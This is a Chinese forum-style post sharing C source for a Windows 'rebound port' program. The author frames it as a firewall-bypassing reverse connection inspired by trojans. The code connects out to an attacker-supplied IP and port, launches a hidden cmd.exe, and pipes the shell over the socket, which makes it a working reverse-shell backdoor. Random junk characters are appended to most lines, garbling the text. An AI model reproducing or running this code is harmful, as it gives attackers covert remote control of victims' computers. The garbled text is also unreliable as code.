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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {^>dQ+Sx7  
&LM@_P"T  
/* ============================== #4S">u  
Rebound port in Windows NT i zJa`K  
By wind,2006/7 3YT>3f!\  
===============================*/ L rV`P)$T  
#include Nd!0\ "AE  
#include gwE#,OY*  
$YuVM  
#pragma comment(lib,"wsock32.lib") ut z.  
3vRRL  
void OutputShell(); )]x/MC:9r  
SOCKET sClient; gN#&Ag<?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \| qr&(PG  
F<SMU4]YdG  
void main(int argc,char **argv) vi?{H*H4c  
{ 0>hV?A  
WSADATA stWsaData; k( l  
int nRet; %oVoE2T{@  
SOCKADDR_IN stSaiClient,stSaiServer; MX!t/&X(n  
9x;CJhX  
if(argc != 3) W,&z:z>  
{ m(Ghe2T:  
printf("Useage:\n\rRebound DestIP DestPort\n"); Cv7FVl-I  
return; RC(fhqV  
} 9pAklD4  
H^y%Bi&^  
WSAStartup(MAKEWORD(2,2),&stWsaData); !V|i\O|Q2  
!Ld0c4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #wz1uw[pI!  
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stSaiClient.sin_family = AF_INET; -= {Z::}S"  
stSaiClient.sin_port = htons(0); /C)mx#h]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9MfBsp}c  
ygt7;};!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x3ds{Z$,>(  
{ 1=LI))nV  
printf("Bind Socket Failed!\n"); W 2/`O?  
return; wX(h]X"q  
} @0}Q"15,I  
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stSaiServer.sin_family = AF_INET; (`S32,=TS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2c?-_OCy;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @C[]o.r  
JP$@*F@t  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @^g/`{j>J  
{ |7@[+  
printf("Connect Error!"); sT| $@$bN  
return; j3j<01rq  
} S}=d74(/n  
OutputShell(); ~jK'n4  
} d*7nz=0&$  
WfbG }%&J  
void OutputShell() sZ`C "1cX  
{ o K;.|ja  
char szBuff[1024]; bn`1JI@S4  
SECURITY_ATTRIBUTES stSecurityAttributes; 9f ,$JjX[  
OSVERSIONINFO stOsversionInfo; tb;!2$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5GD6%{\O  
STARTUPINFO stStartupInfo; _M n7zt1^  
char *szShell;  .PyPU]w  
PROCESS_INFORMATION stProcessInformation; ~Yrtz   
unsigned long lBytesRead; @ eQIwz  
O`2;n.>\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?<mxv"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zh{:zT)(1  
stSecurityAttributes.lpSecurityDescriptor = 0; IYZ$a/{P  
stSecurityAttributes.bInheritHandle = TRUE; ) ?L  
2<"kfa n  
st91r V$y?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sr|afqjXD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _VvXE572  
{:peArO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o3=2`BvJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .(2Zoa  
stStartupInfo.wShowWindow = SW_HIDE; D' d^rT| H  
stStartupInfo.hStdInput = hReadPipe; P LHiQ:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vh29mzum  
^seb8o7  
GetVersionEx(&stOsversionInfo); OE{PP9 eh  
s,~p}A%0  
switch(stOsversionInfo.dwPlatformId) GxFmw:  
{ Py}] {?  
case 1: d z-  
szShell = "command.com"; LBCat=d<  
break; R WfC2$z  
default: O4l]Q  
szShell = "cmd.exe"; dE ,NG)MH  
break; /E%r@Rui3$  
} $N@EH;{_0  
n#\ t_/\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =.<S3?  
|mHxkd  
send(sClient,szMsg,77,0); y,YK Mc  
while(1) /kK%}L_D  
{ jE.yT(+lW  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j$%uip{  
if(lBytesRead) I4Y; 9Gg  
{ xllk hD4F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); udld[f.  
send(sClient,szBuff,lBytesRead,0); XFS"~{  
} W)OoHpdw  
else "3\C;B6I  
{ Z` ;.62S  
lBytesRead=recv(sClient,szBuff,1024,0); 6`V2-zv$  
if(lBytesRead<=0) break; 0Qa kFt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jdEqa$CXG  
} fc,^H&  
} K]bw1K K  
[WAnII  
return; s{30#^1R  
}
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